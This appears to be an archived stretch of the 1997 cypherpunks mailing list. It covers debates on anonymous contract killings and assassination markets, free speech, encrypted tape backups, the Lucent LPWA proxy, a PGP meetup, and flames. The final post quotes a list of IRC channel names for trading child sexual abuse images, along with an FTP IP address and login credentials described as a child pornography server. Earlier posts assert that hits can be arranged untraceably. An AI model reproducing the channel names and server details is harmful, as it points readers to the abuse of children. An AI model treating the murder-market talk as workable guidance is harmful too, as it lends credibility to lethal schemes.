>>out your neighbor, it's going to be fairly obvious who did it.  (How many
>>neighbors do you have?  Pretty short list of suspects.)
>
>Nonsense. The mechanisms for arranging the hit are untraceable. Thus, it
>hardly matters who the "suspects" are, as nothing is provable. (Assuming no
>implicating ephemera are left lying around on disk drives....)

People do not just go kill their neighbors for no reason; there is going
to be some dispute or history of antagonism between them.  Investigators
almost always start by questioning the usual suspects.

The technology may be perfect, but human error will get you every time.


>By the way, this is not really Bell's "assassination politics," this is
>just anonymous contract killings, known about to some of us since Chaum's
>work was first published...cf. my own "Crypto Anarchist Manifesto," 1988.

We know Bell didn't invent it, but who is really eager to go to the
prosecutors in Washington and tell them "It was all my idea."






From lucifer at dhp.com  Tue Jun 10 14:55:16 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 11 Jun 1997 05:55:16 +0800
Subject: Law Enforcement Types Summary
Message-ID: <199706102140.RAA13605@dhp.com>



 JUST A RECAP OF HOW OUR JUSTICE SYSTEM WORKS
 
 The LAPD, The FBI, and the CIA are all trying to prove that they are 
 the best at apprehending criminals. The President decides to give them 
 a test.  He releases a rabbit into a forest and each of them has to 
  catch it.
 
 The CIA goes in. They place animal informants throughout the forest. 
 They question all plant and mineral witnesses. After three months of 
 extensive investigations they conclude that rabbits do not exist.
 
 The FBI goes in. After two weeks with no leads they burn the forest, 
 killing everything in it, including the rabbit, and make no apologies. 
 The rabbit had it coming.
 
 The LAPD goes in. They come out two hours later with a badly beaten 
 bear.  The bear is yelling: "Okay! Okay! I'm a rabbit! I'm a rabbit!
 
 Case closed.






From rah at shipwright.com  Tue Jun 10 16:24:31 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 11 Jun 1997 07:24:31 +0800
Subject: Call 4 Participation
Message-ID: 




--- begin forwarded text


X-Authentication-Warning: blacklodge.c2.net: majordom set sender to
owner-spki at c2.org using -f
Date: Tue, 10 Jun 1997 14:29:10 -0700 (PDT)
From: Yahya Al-Salqan 
Reply-To: Yahya Al-Salqan 
Subject: Call 4 Participation
To: ssl-talk at netscape.com, spki at c2.net
Cc: SECURITY-TF at ILLILOUETTE.Sun.COM, Yahya.Abual-Salqan at corp.sun.com
MIME-Version: 1.0
Sender: owner-spki at c2.net
Precedence: bulk

The second IEEE International Workshop on Enterprise Security will take
place next week (June 18-21) at the MIT.
 The workshop will host a Panel discussion on the "Future of the Internet
Security at the IETF."  The Panelist are:
1) Carl Ellison, CyberCash, SPKI author at the IETF
2) Don Eastlake, CyberCash, Secure DNS author at the IETF
3) Perry Mitzger, Co-chair of SPKI and SecSH at the IETF
4) Tatu Ylonen, author SSH at IETF
5) Steve Lloyd, Entrust
6) Tom Polk, NIST, editor of PKIX at teh IETF

You are invited to take advantage of this opportunity to learn about the
future
of Internet security.

Visit http://www.cerc.wvu.edy/SECWK/  for more information on the
presentations
and discussion groups.

I look forward to meeting some of you at the Workshop,

Best Regards,

--Yahya Al-Salqan, PhD
Sun Microsystems
Enterprise Security General Chair

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From whgiii at amaranth.com  Tue Jun 10 16:55:16 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 11 Jun 1997 07:55:16 +0800
Subject: None
In-Reply-To: <199706101102.NAA05299@basement.replay.com>
Message-ID: <199706102339.SAA10425@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706101102.NAA05299 at basement.replay.com>, on 06/10/97 
   at 01:02 PM, nobody at REPLAY.COM (Anonymous) said:

>The possibility of Microsoft killing their competition's engineers is
>somewhat more realistic, although lately they've been hiring a lot of
>them instead, so maybe they don't want to kill them. :)

Working at M$ is a fate worse than death.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM53mY49Co1n+aLhhAQH5jgQAkM+JC5BRNLRlLc8zDN017jk6emS/aGkf
cR13xRVMdtlzVFHiEAewr45yQc+CFzwmS+hk+M9waZAsqlJkZ/SRi/YD2E1y7yxt
uyO+8AF8uQmMdY1ny6AGSxP3m14TExDAboE3Qdj9bIi1YMocEbwjdxv0Lup2CkbG
q/ABEB8mOvM=
=17oO
-----END PGP SIGNATURE-----






From nobody at REPLAY.COM  Tue Jun 10 17:10:03 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 11 Jun 1997 08:10:03 +0800
Subject: [ADMINISTRATIVIUM] e$
Message-ID: <199706102345.BAA12345@basement.replay.com>



Timothy C. Mayonnaise is a pimply dweeb sitting at a computer chortling at his own 
imagined cleverness.

   . o       c ,
   `'#v-- --v#`' Timothy C. Mayonnaise
    /'>     <`\






From azur at netcom.com  Tue Jun 10 17:32:29 1997
From: azur at netcom.com (Steve Schear)
Date: Wed, 11 Jun 1997 08:32:29 +0800
Subject: Thoughtcrime   (Re: My War)
In-Reply-To: <3.0.2.32.19970609183534.0069ac1c@netcom13.netcom.com>
Message-ID: 



I call bullshit on this whole line of reasoning!

All prohibition of speech should be based on the judgement of whether or
not specific individiuals (not general groups or socienty at large) can be
reasonably be deduced to be at immediate risk or be harmed from that speech.

>Looking at synthetic child porn may be purely a thought crime, but it
>involves breaking a lot of societal taboos.  If someone does not have the
>self-restraint to not look at mere pictures, will they have the restraint
>to avoid comitting actual crimes?  Pornography is not like reading Rosseau
>or Locke since rational enlightenment is not the goal.
>
>Logic != Emotion
>
>But what happens when we deal with individuals who are entirely driven by
>emotions, and by the basest emotions possible?

I find lust to be a noble urge.

What happens when you sell high-power autos to immature consumers which can
only be used as promoted by traveling at speeds well in excess of safe?

>
>Although you can argue that people may be able to look without touching,
>the reason they are looking in the first place involves a release of the
>beast within.  How many such people are we willing to trust to keep that
>beast on the chain.  The law is currently structured to answer "none" to
>this question, and this may be the proper answer.

Following this line of reasoning, isn't it appropriate that any
attractive/exciting experience which gets the adreneline pumping (with the
possibility for abuse and injury to third-parties) be regulated?

>
>With guns and explosives, there is greater likelyhood that someone will
>injure themselves or their own property on a destructive binge.  This type
>of expression is more benign, though I don't think it represents the
>better angels of our nature.  But I see no threat to me personally from
>such people.

I think some families in Oklahoma City may disagree.

>
>Similarly with most drugs...
>
>But I would not want to have someone leave the two components to a binary
>nerve gas on a shelf...

Now you've transgressed from speech to possession.

>
>Something that is in and of itself a turning away from reason and giving
>in to emotion, and the ultimate destination of that path if it is followed
>will result in injury to others, especially innocents, is something that
>should be regulated.

Regulated or banned?  I find war to be the best such example, but we still
have massive armies and a military-industrial complex don't we?

>
>This form of "information" is an addictive drug, with the side effect is
>that it destroys others much more than it destroys the abuser,

Can you back up this assertion with clinical data?

>
>This does not mean that I am any less a civil-cyber-libertarian..

I believe it means you are a wanna-be Libertarian.

--Steve








From vznuri at netcom.com  Tue Jun 10 17:54:38 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Wed, 11 Jun 1997 08:54:38 +0800
Subject: Untraceable Contract Killings
In-Reply-To: 
Message-ID: <199706110045.RAA13474@netcom16.netcom.com>



TCM
>Nonsense. The mechanisms for arranging the hit are untraceable. Thus, it
>hardly matters who the "suspects" are, as nothing is provable. (Assuming no
>implicating ephemera are left lying around on disk drives....)
>
>By the way, this is not really Bell's "assassination politics," this is
>just anonymous contract killings, known about to some of us since Chaum's
>work was first published...cf. my own "Crypto Anarchist Manifesto," 1988.
>
>I may sound touchy on this issue, but I'm seeing more and more articles
>here and relayed from outside essentially giving Bell the credit for
>inventing these kinds of markets, when in fact he's a relative latecomer.

why be bashful, timmy? go ahead and say it. 
"I invented the concept of anonymous contract killings via cyberspace, 
and I'm quite proud of this, and it annoys me when people don't give me 
proper credit"






From weidai at eskimo.com  Tue Jun 10 17:57:11 1997
From: weidai at eskimo.com (Wei Dai)
Date: Wed, 11 Jun 1997 08:57:11 +0800
Subject: Untraceable Contract Killings
In-Reply-To: 
Message-ID: 



On Tue, 10 Jun 1997, Tim May wrote:

> By the way, this is not really Bell's "assassination politics," this is
> just anonymous contract killings, known about to some of us since Chaum's
> work was first published...cf. my own "Crypto Anarchist Manifesto," 1988.
> 
> I may sound touchy on this issue, but I'm seeing more and more articles
> here and relayed from outside essentially giving Bell the credit for
> inventing these kinds of markets, when in fact he's a relative latecomer.

I think the novelty of Bell's scheme is that it allows assassination
payments to be pooled from a large number of anonymous payers without
explicit coordination (i.e., the payers do not have to communicate with
each other to work out a contract, etc.).  For killing a neighbor it
doesn't improve upon the simple untraceable contract, but it can make a
big difference when the target has many enemies (Bell gave politicians as
an example).

Now in light of the fact that when the target has many enemies the
assassination becomes a non-excludable public good, it is almost certain
that the scheme cannot actually work in practice.  All of the potential
payers would rather free-ride and let others pay, so the public good ends
up not being "produced".






From dlv at bwalk.dm.com  Tue Jun 10 18:17:47 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 11 Jun 1997 09:17:47 +0800
Subject: Fraud and free speech
In-Reply-To: 
Message-ID: 



Bill Frantz  writes:

>
> At 5:27 PM -0700 6/8/97, Tim May wrote:
> >(Oh, and it almost goes without saying that the same "lies" William and
> >others are so worried about in "commercial" speech happen all the time in
> >non-commerical speech. For every example of where commercial speech
> >involves lies or fraud, I can find similar or fully equivalent
> >non-commercial examples, ranging from lies like "I love you" to get a
> >partner into bed to deliberate misstatements to mislead an opponent. Why
> >should such "lies" be protected while putatively commercial speech is to be
> >subjected to an increasing number of limitations?)
>
> The only justification I can think of off hand is that a presumption of
> truth may make for more efficient markets.  On the other hand, it also has
> very bad effects when applied to political speech.

I'm inclined to argue that "presumption of truth" and "implied warranty
of merchantability" actually lead to LESS efficient markets, but I'm
too tried tonite.  If anyone's interesting, please ping me later. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Tue Jun 10 18:19:50 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 11 Jun 1997 09:19:50 +0800
Subject: BAD ADVICE WARNING from Kent: Access to Storage and Communication
In-Reply-To: 
Message-ID: <95X48D67w165w@bwalk.dm.com>



Ray Arachelian  writes:
> Passphrases can be memorized.  4mm DAT tapes hold several gigs and are
> tiny.  Ever see one?  Fits in your pocket.  It's smaller that an audio
> cassette. Fairly easy to guard, but, if your data is backed up in
> encrypted form (cyphertext), and not clear text, you don't even need to
> bother protecting the tape. (That is unless your backup software uses a
> weak cypher as most tend to do.)  [FYI: Your knowledge of tape
> technologies is severly lacking. 4mm tapes hold 2-4Gb.  Exabytes 5Gb-10Gb.
> Mamouth Exabytes (same size as 8mm camcorder video tapes, smaller than
> audio cassettes) hold as much as 40Gb in a very small form factor.]

I'm actually thinking of getting a pair of 4mm tape drives to replace
my existing backup system (very old drives that use DC 600As; only
.25GB / drive, pretty slow, no NT drivers; time to upgrade)

I wonder: if the data is well-encrypted, wouldn't it make the compression
pretty ineffective?

Also: can somebody recommend good, fast 4MM drives that go inside a PC and
work off a SCSI controller, and are supported by Windows NT and 95 with no
special drivers? (I don't care about OS/2 and Linux support)

[I guess I'll burn the old media or something. :-) I still have about
3 cubic feet of 5.25" floppies that I don't know how to discard]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From real at freenet.edmonton.ab.ca  Tue Jun 10 19:09:16 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Wed, 11 Jun 1997 10:09:16 +0800
Subject: [ADMINISTRATIVIUM] e$
In-Reply-To: <199706102345.BAA12345@basement.replay.com>
Message-ID: 



I think Vulis needs each of us to send ten copies of this back to him.

On Wed, 11 Jun 1997, Anonymous wrote:

> Timothy C. Mayonnaise is a pimply dweeb sitting at a computer chortling at his own 
> imagined cleverness.
> 
>    . o       c ,
>    `'#v-- --v#`' Timothy C. Mayonnaise
>     /'>     <`\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From azur at netcom.com  Tue Jun 10 19:24:23 1997
From: azur at netcom.com (Steve Schear)
Date: Wed, 11 Jun 1997 10:24:23 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <11LV8D23w165w@bwalk.dm.com>
Message-ID: 



>I understand, but my point was that at some point the system of "law"
>became simply a system of supplicating the masses and no longer serves
>justice.  When the system of law ceases to be a system of law and becomes
>of system of corruption I no longer refer to it as law.  Important
>Orwellian distinction.  Never let the bastards control the definitions and
>language.

"Nothing distinguishes more clearly conditions in a free country from those
in a country under arbitrary government than the observance in the former
of the great principles known as the Rule of Law. Stripped of all
technicalities, this means that government in all its actions is bound by
rules fixed and announced beforehand-rules which make it possible to
foresee with fair certainty how the authority will use its coercive powers
in given circumstances and to plan one's individual affairs on the basis of
this knowledge."

>From "The Road to Surfdom," F.A. Hayek, as quoted from the classical
exposition by A. V. Dicey in "The Law of the Constitution" (8th ed.), p.
198, the Rule of Law "means, in the first place the absolute supremacy or
predominance of regular law as opposed to the influence of arbitrary power,
and excludes the existence of arbitrariness, of prerogative, or even of
wide discretionary authority on the part of government."

--Steve







From azur at netcom.com  Tue Jun 10 19:25:05 1997
From: azur at netcom.com (Steve Schear)
Date: Wed, 11 Jun 1997 10:25:05 +0800
Subject: BAD ADVICE WARNING from Kent: Access to Storage andCommunication
In-Reply-To: 
Message-ID: 



>I wonder: if the data is well-encrypted, wouldn't it make the compression
>pretty ineffective?

Well encrypted data is, by definition, incompressible.  Data compression
is, for this reason, always preformed prior to encryption.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From ichudov at Algebra.COM  Tue Jun 10 19:49:51 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Wed, 11 Jun 1997 10:49:51 +0800
Subject: BAD ADVICE WARNING from Kent: Access to Storage and Communication
In-Reply-To: <95X48D67w165w@bwalk.dm.com>
Message-ID: <199706110235.VAA04670@manifold.algebra.com>



Dr.Dimitri Vulis KOTM wrote:
> Ray Arachelian  writes:
> > Passphrases can be memorized.  4mm DAT tapes hold several gigs and are
> > tiny.  Ever see one?  Fits in your pocket.  It's smaller that an audio
> > cassette. Fairly easy to guard, but, if your data is backed up in
> > encrypted form (cyphertext), and not clear text, you don't even need to
> > bother protecting the tape. (That is unless your backup software uses a
> > weak cypher as most tend to do.)  [FYI: Your knowledge of tape
> > technologies is severly lacking. 4mm tapes hold 2-4Gb.  Exabytes 5Gb-10Gb.
> > Mamouth Exabytes (same size as 8mm camcorder video tapes, smaller than
> > audio cassettes) hold as much as 40Gb in a very small form factor.]
> 
> I'm actually thinking of getting a pair of 4mm tape drives to replace
> my existing backup system (very old drives that use DC 600As; only
> .25GB / drive, pretty slow, no NT drivers; time to upgrade)
> 
> I wonder: if the data is well-encrypted, wouldn't it make the compression
> pretty ineffective?

You can compress before the encryption (if the encryption algorithm
does not do compression).

tar cvfz - /directory | Encrypt > /dev/ftape

or something like that.

Another thing to worry about is being able to at least partially restore
data if one or several blocks get corrupted.

	- Igor.






From stutz at dsl.org  Tue Jun 10 19:53:46 1997
From: stutz at dsl.org (Michael Stutz)
Date: Wed, 11 Jun 1997 10:53:46 +0800
Subject: LPWA
Message-ID: 



http://www.wired.com/news/technology/story/4375.html

Covering Your Tracks via a Helping Hand
by Michael Stutz

6:02pm  10.Jun.97.PDT Ironically, when it comes to privacy on the
Net, you often have to turn to middlemen for help.

In the latest in a long string of software and services that act
as intermediaries for two parties when at least one of the
parties wants anonymity, a technology demonstration was announced
by Lucent Technologies on Tuesday. The Lucent Personalized Web
Assistant enables users to maintain Web anonymity even on sites
that require email registration. The LPWA acts as an anonymous
proxy server, handling HTTP requests between a user and a Web
site so that the user remains anonymous, said Alain Mayer, one of
LPWA's developers. LPWA also filters the HTTP protocol so that no
unwanted information goes out from the user, he said.

Unlike the Anonymizer, a popular anonymous Web browsing service,
it cannot perform temporary, nonproxy, anonymous Web sessions,
but it does allow for anonymous accounts on Web sites that
require it. "It computes on your behalf all kinds of username and
passwords you'll need at different Web sites, in such a way that
they will appear completely unrelated. On top of that, it will
assign you a different email address" for each site that is
visited.

The problem, Mayer says, is that many commercial Web sites
require online registration before you can access their
information. Besides the fact that many people do not like this -
and choose not to visit those sites - this poses a number of
logistical problems. "One problem is that you have to remember
all the username and passwords that you give out the next time
you come back," said Mayer. "And if you always use the same set
of username and passwords, these sites can potentially can get
together and see wherever you're going and trace you down."

The goal in designing LPWA was to address "where convenience and
privacy can go hand-in-hand," Mayer said. "If you design privacy
in software, it entails that you have to give on the convenience
side. Our main goal was to combine these two possibly
antagonistic goals."

Currently, Lucent stores no information about LPWA users, since
the anonymous usernames and passwords are generated by a
cryptographic function. When a user connects to a site that
requires a login, "\U" is entered for a username and "\P" for a
password; LPWA then interprets this and supplies the
cryptographically generated username and password to the site.
Unlike some anonymous remailers, which store translations
of users on hard disks, nothing would be retrieved from an LPWA
should it be compromised by a government or other entity.

But could commercial sites ban LPWA access by their own means?
Mayer doesn't think so. "Potentially, a Web site can always
refuse email from certain domains," he said, "but we can always
find different domains, not just lpwa.com. What we hope is that
commercial Web sites don't see us as an enemy but as a friend,
because if users feel more secure in having certain things
protected that they feel strongly about, then they also hopefully
will feel better about giving certain other demographic
information that the Web site can use. If this system gets
popular, both sides will gain."

While LPWA is now online, it should just be considered a demo;
future versions may evolve into a commercial product that
corporations could use with their firewalls, or ISPs could
provide as an added benefit. LPWA is built on top of the popular
Apache server software and runs on Unix - so it is plausible that
in the future, individuals will run it on their own machines.
"It's technically feasible to have this run on your laptop," said
Mayer, "and if you're willing to live with the performance
degradation you can even have it connect to another one and
another one, so you don't have to trust anybody."

Justin Boyan, author of the Anonymizer, imagines that schemes
like chains of proxies are conceivable, but you'll always have to
trust the community you are connected with. "It is a matter of
trust. It's an issue of, 'Do you trust the people or the
organization behind the middleman?' [LPWA] does require you to
trust Lucent if you use it, and it requires you to trust
anonymizer.com if you want to use us."

But why trust Lucent? Mayer thinks that's a very good question.
"You shouldn't," he said. "This is only a demonstration, and
hopefully will generate enough interest that this will be put in
places that are not in our hands. We don't even want to have this
responsibility - it's not our business. Do you trust your ISP?
That's a question you have to ask yourself anyway."

Copyright � 1993-97 Wired Ventures, Inc. and affiliated companies.
All rights reserved.






From stewarts at ix.netcom.com  Tue Jun 10 20:46:39 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 11 Jun 1997 11:46:39 +0800
Subject: BAY AREA CYPHERPUNKS, JUNE 14, AT PGP Inc. IN SAN MATEO
Message-ID: <3.0.1.32.19970610201850.0074dcc8@popd.ix.netcom.com>



-----BEGIN PGP SIGNED MESSAGE-----


      Cypherpunks June 97 Physical Meeting Announcement
      (SF Bay Area, Northern California chapter)

           Date: 14 June 1997 (second Saturday as usual) 
           Time: 12pm - 4pm 
           Host: Pretty Good Privacy, Inc. 
           Contact: Dave Del Torto - 415.596.1781 voice 

Agenda for 14 June 97 (subject to slight variations):

1.Angelos Keromytis & Hugh Daniel on their Linux IPSEC work: 
	Hot news from the recent IPSEC interoperability bake-off in Michigan

2.PGP 5.0 Source Code Release & Public Review: The first release of *all* 
	final PGP 5.0 source code to the People! PGP engineers will be
	present to discuss technical details and answer specific questions. 
	A number of copies will be available (free) to attendees who wish 
	to review the cryptography code (note: we recommend that you
      bring a box or bag, as it's 14 volumes and nearly 7,000 pages). 

3.HIP97 Trip Planning Committee: A group from California is planning on
	attending the 
	     Hacking in Progress '97 
	event sponsored by XS4ALL in the Netherlands (8/9/10 Aug). 
	This event is followed by the IETF meeting in Munich, and some will 
	continue on. We'll discuss our cooperative travel plans. 
	Cf. N.B.: Contact ASAP for flight info as flights are being booked 
	up rapidly (high tourist season). 
		[Editors Note:  _High_ tourists in Amsterdam??]

4. Ian Goldberg's Cool Canadian Crypto Software for Pilot Organizers
	If somebody from Berkeley can give Ian a ride,
	he'll demo the crypto libraries and applications he wrote
	while out of the US.

PGP Building Access:

This is an Open Meeting on US Soil and it is free for anyone to attend. 

      There is a minor building security formality due to the facilities
	being in a bank building:  anytime after 12 noon, approach the 
	Bayview Building's Information window (in the plaza, see below for
	directions), and ask the Guard on Duty to let you up to the 
	2nd Floor for the Cypherpunks meeting (use the passphrase 
	"cypherpunks release code"). If you have any difficulty 
	(eg. if the guard is on a break), simply call me at 415.730.3583 
	and I'll let you in. 

      You can arrive at any time during the scheduled meeting hours, 
	though earlier is better if you want to hear the interesting stuff. 


Directions to PGP:

      Pretty Good Privacy's HQ is located at: 

      2121 South El Camino Real 
      9th Floor - (the meeting is on the 2nd Floor) 
      San Mateo CA 94403, USA 

                         Directions available here 
			http://www.pgp.com/pgpcorp/contactpgp.cgi#head
                                    or 
  follow DDT's Directions to PGP's HQ in San Mateo (fossil fuel version): 


                                    MACRO 

      From the North Bay: 

      Hwy 101 South (use right lanes after passing SFO) 
      EXIT Fwy 92 West (move to center lane immediately after ramp)... 
      or 280 South (take Hwy 92 East toward the Bay)... 

      From the South Bay: 

      101 North - EXIT Fwy 92 West (toward Half Moon Bay)... 
      280 North - EXIT Hwy 92 East (toward the Bay)... 

      From the East Bay: 

      San Mateo Bridge (Hwy 92 West) 
      GO past Hwy 101... 



                                     MICRO 

      Once you're on Hwy 92 (from either 280 or 101) 

      EXIT at SOUTH El Camino Real 
	(From 101 it's about a mile, and there are two El Camino exits!)
	(From 280 it's about 7 miles, after you've come down a steep grade,
	levelled out and passed under an overpass) 
      Curve around and down under freeway: you're now travelling south on
	El Camino Real. 
      Get in the LEFT lane *immediately*. (Directly in front of you, 
	you can see the Bayview Building a couple of blocks away: 
	it's the only highrise around.) 
      LEFT on 20th (The very first traffic light after exit ramp. 
	Taco Bell is on left). 
      RIGHT turn at next stop sign (residential street: Palm). 
      PROCEED 1.5 blocks. (Parking Garage entrance at rear of Bayview 
	building is on your right.) 
      PARK on the 2nd level. 

                                     NANO 

      Once you've parked your vehicle in the Garage (it's free): 
      STAIRS (or Elevator) to the main level, step out and... 
      WALK WEST across the courtyard to the main (tallest) building. 
      PASS through the doorway in the stand-alone exterior "glass wall" 
	and approach the "Information" window (also the Guard Station) 
	on the north side of the building. 
      GET the guard's attention (preferably *not* by waving a firearm).
	Use the passphrase and you'll be admitted.  If the guard's on a 
	break, call me at 415.730.3583. 
      ELEVATOR to 2nd Floor. (The meeting room is on left side, slightly
	down the hall) 

      Public Transit

      For CalTrain, get off at the San Mateo station near the Bay Meadows
	horse racing track and head for the tallest building around with
	the huge "Bayview" sign on top. It's a short walk or cab ride. 

      By bus, take any line running on El Camino Real to the intersection
	of 20th in San Mateo and dismount. Look up: you're there. 



- ------------------
Announcement also available at http://www.pgp.com/newsroom/cpunk-info.cgi


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM54YkvthU5e7emAFAQFF8AH+M0LItG6OfTn4h8BNF+51RLsuQHWq1TgY
IN+R3j+A7AJno7lUxP612Ctm5m/3V2dAa5HrScyCfm3KUiPDxOqozQ==
=gMPf
-----END PGP SIGNATURE-----






From nobody at REPLAY.COM  Tue Jun 10 21:09:06 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 11 Jun 1997 12:09:06 +0800
Subject: [Noise, California only] Good deal on ISDN access
In-Reply-To: <3.0.2.32.19970609203945.00715b00@netcom13.netcom.com>
Message-ID: <199706110355.FAA10800@basement.replay.com>



Lucky Green sez:

> Given that a good number of people on this list live in CA, this might be
> of interest to you. It certainly was to me. PacBell is selling flat rate 2B
> ISDN Internet access at $50/month. Plus the regular home ISDN fees, but
> this is still much cheaper than what I paid before. You might want to think
> hard before you buy at new 56k modem that in all likelihood won't be able
> to give you 56k anyway. And no analog modem will ever give you 128kbps.

But don't they still charge you a penny a minute?  That adds up fast, and
would probably cost you more than your $50 internet access fees.  Plus the
cost of ISDN service...  All told, you're looking at $150 or so per month.

When for $150 you can get a brand spanking new 56K modem, and pay $20-30 a
month.  Not as fast, but a much better price/performance ratio.






From ravage at EINSTEIN.ssz.com  Tue Jun 10 21:10:52 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 11 Jun 1997 12:10:52 +0800
Subject: Laptop theft [CNN]
Message-ID: <199706110335.WAA06750@einstein.ssz.com>



Forwarded message:

>                                 PC, PHONE HOME
>                                        
>       Laptop
>      
>   Industry aims to stop theft of laptops
>   
>      June 10, 1997
>      Web posted at: 11:45 p.m. EDT (0345 GMT)
>      
>      From Correspondent Greg Lefevre
>      
>      SAN FRANCISCO (CNN) -- Expensive, compact and frequently out and
>      about, a laptop computer makes an attractive target for thieves.
>      
>      But the computer industry has devised some ingenious ways to counter
>      theft, including invisible software that knows when the computer is
>      in trouble.

[remainder deleted]


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at EINSTEIN.ssz.com  Tue Jun 10 21:11:35 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 11 Jun 1997 12:11:35 +0800
Subject: Personal info regulation [CNN]
Message-ID: <199706110337.WAA06786@einstein.ssz.com>



Forwarded message:

>                COMPANIES AGREE TO ADDRESS CYBER-PRIVACY CONCERNS
>                                        
>       graphic
>      
>      June 10, 1997
>      Web posted at: 7:34 p.m. EDT (2334 GMT)
>      
>      WASHINGTON (AP) -- Hoping to stave off strict government curbs,
>      Lexis-Nexis and seven other companies that sell detailed personal
>      information about Americans agreed Tuesday to voluntary limits to
>      minimize privacy intrusions.
>      
>      But consumer advocates at a Federal Trade Commission hearing
>      insisted that mandatory rules were needed to crack down on growing
>      abuses by electronic data companies, especially because many smaller
>      companies aren't part of the agreement.

[remainder deleted]


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From lucifer at dhp.com  Tue Jun 10 22:14:28 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 11 Jun 1997 13:14:28 +0800
Subject: Trolling for Children,  Cypherpunks, or LEA's?
Message-ID: <199706110458.AAA14467@dhp.com>



se7en, Grand Protector of "Us", wrote:
> 
> When I stopped lurking on this list and became a
> regular poster, one of the things I quickly became known for was my
> on-line harrassment of those who hurt us as a group.

  Thank you for your harrassment of the victims of your harrassment
on my behalf.
 
> Many old-timers here will remember my harrassment of a
> a worldwide volunteer force that searched out indecency 
> on the net

  So it is a good thing to harrass people who do this? Thanks,
I'll remember that.
  
> As many of you know, I make a living as a professional speaker, with
> federal government, military and intelligence communities as my core
> audience.

  I am certain that you tell them what the federal government and 
military think they need to hear an are well received.

> I recently went off on a serious rant with three different audiences on a
> topic I felt was seriously exaggerated/over-hyped/fearmongered/bullshit.

  But you would never do that again, right?

> some idiot from an anonymous address
> sent me a child porn .jpg file. Trust me when I say it was child porn

  Nope. Afraid I like to check facts for myself.

> I looked around on IRC on #teensex, and found:
> #preteensexpics
> #littlegirlsex
> #100%preteensexpics
> #100%preteensexfuckpics
> #!!!!!!preteensexpics

  I looked too, but didn't find it.

> I joined several of these channels and found that
> upon entering each one, I was auto messaged about special kiddie porn
> servers dedicated to trading, e.g.,
> PreTeenSexPics - FTP at 130.67.80.230 l/p ncc/ncc [|]

  I couldn't confirm this myself. Looked like pretty normal files 
to me.

> I started logging the channels. I wanted to silently gather IP addresses
> and email addresses. These people needed some genuine hacker terror.

  And to think that a short time ago, they didn't even exist, 
according to your rants.

